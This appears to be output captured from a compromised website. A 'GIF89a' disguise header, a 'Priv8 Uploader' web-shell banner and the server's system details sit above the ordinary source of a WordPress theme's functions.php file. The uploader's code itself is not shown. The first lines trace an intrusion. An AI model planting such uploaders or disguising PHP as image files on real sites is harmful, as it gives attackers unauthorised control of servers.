GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3
Priv8 Uploader By InMyMine7
Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
<?php
if (file_exists(TEMPLATEPATH.'/admin/theme-config.php')) include_once("admin/theme-config.php");
if (file_exists(TEMPLATEPATH.'parentless-categories.php')) include_once("parentless-categories.php");
if ( function_exists('register_sidebar') ) {
register_sidebar(array(
'name' => __('Beneath the Card (Top)', 'minicard'),
'before_widget' => '<li id="%1$s" class="widget %2$s">',
'after_widget' => '<div class="clear"></div></li>',
'before_title' => '<h2 class="section widgettitle">',
'after_title' => '</h2>',
));
register_sidebar(array(
'name' => __('Beneath the Card (Bottom)', 'minicard'),
'before_widget' => '<li id="%1$s" class="widget %2$s">',
'after_widget' => '<div class="clear"></div></li>',
'before_title' => '<h2 class="section widgettitle">',
'after_title' => '</h2>',
));
}
if(function_exists('add_theme_support')) :
add_theme_support( 'nav-menus' );
add_theme_support( 'automatic-feed-links' );
add_theme_support( 'post-thumbnails', array( 'post' ) );
set_post_thumbnail_size( 400, 144, true );
add_image_size( 'folio', 206, 150, true );
else :
function add_folio_size($sizes) {
$sizes[] = 'folio';
add_option('folio_size_w', '206');
add_option('folio_size_h', '150');
add_option('folio_crop', 'true');
return $sizes;
}
add_filter('intermediate_image_sizes', 'add_folio_size');
endif;
function minicard_feed_link(){
global $wp_version;
$default_feed_link = '<link rel="alternate" type="application/rss+xml" title="'.get_bloginfo('name').' RSS Feed" href="'.get_bloginfo('rss2_url').'" />';
if($wp_version < 3) {
if(function_exists(automatic_feed_links)){
$output .= automatic_feed_links();
} else {
$output .= $default_feed_link;
}
}
echo $output;
}
add_action('wp_head', 'minicard_feed_link');
################################################################################
// Lang Handling
################################################################################
function minicard_language(){
load_theme_textdomain('minicard', get_bloginfo('template_url') . '/lang');
}
add_action ('init', 'minicard_language');
################################################################################
// Show navigation (if not using wordpress nav menus)
################################################################################
function minicard_page_menu() {
global $wp_query;
echo '<ul>';
$exclude = str_replace(' ', '', trim(get_option('exclude_ids')));
if ($exclude) $exclude = '&exclude='.$exclude.'';
/* Show home unless un-needed */
$show_home = true;
$post_obj = $wp_query->get_queried_object();
$post_ID = $post_obj->ID;
$show_on_front = get_option( 'show_on_front'); // does the front page display the latest posts or a static page
$page_on_front = get_option( 'page_on_front' ); // if it shows a page, what page
$page_for_posts = get_option( 'page_for_posts' );
if ($show_on_front == 'page' && $page_on_front > 0) $show_home = false;
if ($show_home) {
echo '<li class="page_item ';
if (is_home() && $post_ID!=$page_for_posts) echo 'current_page_item';
echo '"><a href="'.get_bloginfo('url').'" title="'.__('Home','minicard').'">'.__('Home','minicard').'</a></li>';
if ( ( is_home() || is_search() ) && $post_ID!=$page_for_posts) {
echo str_replace('current_page_parent','', wp_list_pages('sort_column=menu_order&title_li=&echo=0&link_before=&link_after=&depth=1'.$exclude));
} else {
echo wp_list_pages('sort_column=menu_order&title_li=&echo=0&link_before=&link_after=&depth=1'.$exclude);
}
} else {
echo wp_list_pages('sort_column=menu_order&title_li=&echo=0&link_before=&link_after=&depth=1'.$exclude);
}
/* end */
echo minicard_menu_search_box();
echo '</ul>';
}
function minicard_menu_search_box( $html = '', $args = '' ) {
if (get_option('enable_search')=='yes') :
$html .= '<li class="search">';
$html .= '<form method="get" class="searchform" action="'.get_bloginfo('url').'/">
<div><label class="hidden" for="sf">'.__('Search:', 'minicard').'</label><input type="text" value="'.get_search_query().'" name="s" id="sf" class="text" /><input type="submit" class="submit" value="'.__('Search', 'minicard').'" /></div>
</form>';
$html .= '</li>';
endif;
return $html;
}
################################################################################
// Append URL
################################################################################
if (!function_exists('minicard_append_url')) {
function minicard_append_url( $old, $append ) {
$querystring = explode('?', $old);
$add = '?';
if ($querystring[1]) {
$add .= $querystring[1].'&';
}
$add .= $append;
return $querystring[0].$add;
}
}
################################################################################
// Encode Email - Modded from http://bakery.cakephp.org/articles/view/easy-email-address-encoder
################################################################################
function encode_email($mail, $text="", $class="", $prefix)
{
$encmail ="";
for($i=0; $i<strlen($mail); $i++)
{
$encMod = rand(0,2);
switch ($encMod) {
case 0: // None
$encmail .= substr($mail,$i,1);
break;
case 1: // Decimal
$encmail .= "&#".ord(substr($mail,$i,1)).';';
break;
case 2: // Hexadecimal
$encmail .= "&#x".dechex(ord(substr($mail,$i,1))).';';
break;
}
}
$encprefix ="";
for($i=0; $i<strlen($prefix); $i++)
{
$encMod = rand(0,2);
switch ($encMod) {
case 0: // None
$encprefix .= substr($prefix,$i,1);
break;
case 1: // Decimal
$encprefix .= "&#".ord(substr($prefix,$i,1)).';';
break;
case 2: // Hexadecimal
$encprefix .= "&#x".dechex(ord(substr($prefix,$i,1))).';';
break;
}
}
if(!$text)
{
$text = $encmail;
}
$encmail = $prefix.$encmail;
return "<a class='$class' href='$encmail'>$text</a>";
}
################################################################################
// Comment formatting
################################################################################
function themeslice_comments($comment, $args, $depth) {
$GLOBALS['comment'] = $comment; ?>
<li <?php comment_class(); ?> id="li-comment-<?php comment_ID() ?>">
<div id="comment-<?php comment_ID(); ?>" class="comment_container">
<p class="meta"><?php echo get_avatar( $comment, $size='32' ); ?><strong><?php comment_author_link(); ?></strong> (<?php echo get_comment_date(); ?>, <?php echo get_comment_time(); ?>). <?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?></p>
<div class="comment-text">
<?php if ($comment->comment_approved == '0') : ?>
<p><em><?php _e('Your comment is awaiting approval', 'minicard'); ?></em></p>
<?php endif; ?>
<?php comment_text(); ?>
</div>
</div>
<?php
}
################################################################################
// ThemeSlice Title Tag
################################################################################
function themeslice_title_tag() {
global $wp_query;
$page_for_posts = get_option( 'page_for_posts' );
$post_obj = $wp_query->get_queried_object();
$thepostid = $post_obj->ID;
$addsuffix = true;
$doctitle = array();
if ( is_single() )
$doctitle[] = single_post_title('', FALSE);
elseif ( is_home() || is_front_page() ) {
if (get_option( 'show_on_front') == 'page' && $thepostid==$page_for_posts) {
$doctitle[] = $post_obj->post_title;
} else {
$doctitle[] = get_bloginfo('name').' – '.get_bloginfo('description');
$addsuffix = false;
}
} elseif ( is_page() )
$doctitle[] = single_post_title('', FALSE);
elseif ( is_search() ) {
$doctitle[] = __('Search Results for:','minicard').' “'.wp_specialchars(stripslashes(get_search_query()), true).'”';
}
elseif ( is_category() ) {
$doctitle[] = __('Category Archives:','minicard').' '.single_cat_title("", false);
}
elseif ( is_tag() ) {
$doctitle[] = __('Tag Archives:','minicard').' “'.single_tag_title("", false).'”';
}
elseif ( is_404() ) {
$doctitle[] = __('Page Not Found','minicard');
}
elseif (is_author()) {
global $wp_query;
$curauth = $wp_query->get_queried_object();
$doctitle[] = ucwords($curauth->nickname).__('\'s author archive','minicard');
} else {
$doctitle[] = get_bloginfo('name').' – '.get_bloginfo('description');
$addsuffix = false;
}
if (get_query_var('paged')) {
$doctitle[] = ' — Page '.get_query_var('paged');
}
if ($addsuffix) $doctitle[] = ' ‹ '.get_bloginfo('name').' – '.get_bloginfo('description');
// But if they don't, it won't try to implode
$doctitle_string = implode('', $doctitle);
if ($doctitle_string) echo $doctitle_string; else wp_title('',true);
}
################################################################################
// Get ID of top category parent
################################################################################
if (!function_exists('get_top_cat')) {
function get_top_cat($cat = '') {
$parentCatList = get_category_parents($cat,false,',');
$parentCatListArray = split(",",$parentCatList);
$topParentName = $parentCatListArray[0];
return get_cat_id($topParentName);
}
}
################################################################################
// Filters
################################################################################
function reduce_excerpt_len() {
return 23;
}
add_filter('excerpt_length', 'reduce_excerpt_len');
function custom_excerpt($text) {
return str_replace('[...]', ' <a href="'. get_permalink($post->ID) . '" class="more">' . __('More »','minicard') . '</a>', $text);
}
add_filter('the_excerpt', 'custom_excerpt');
?>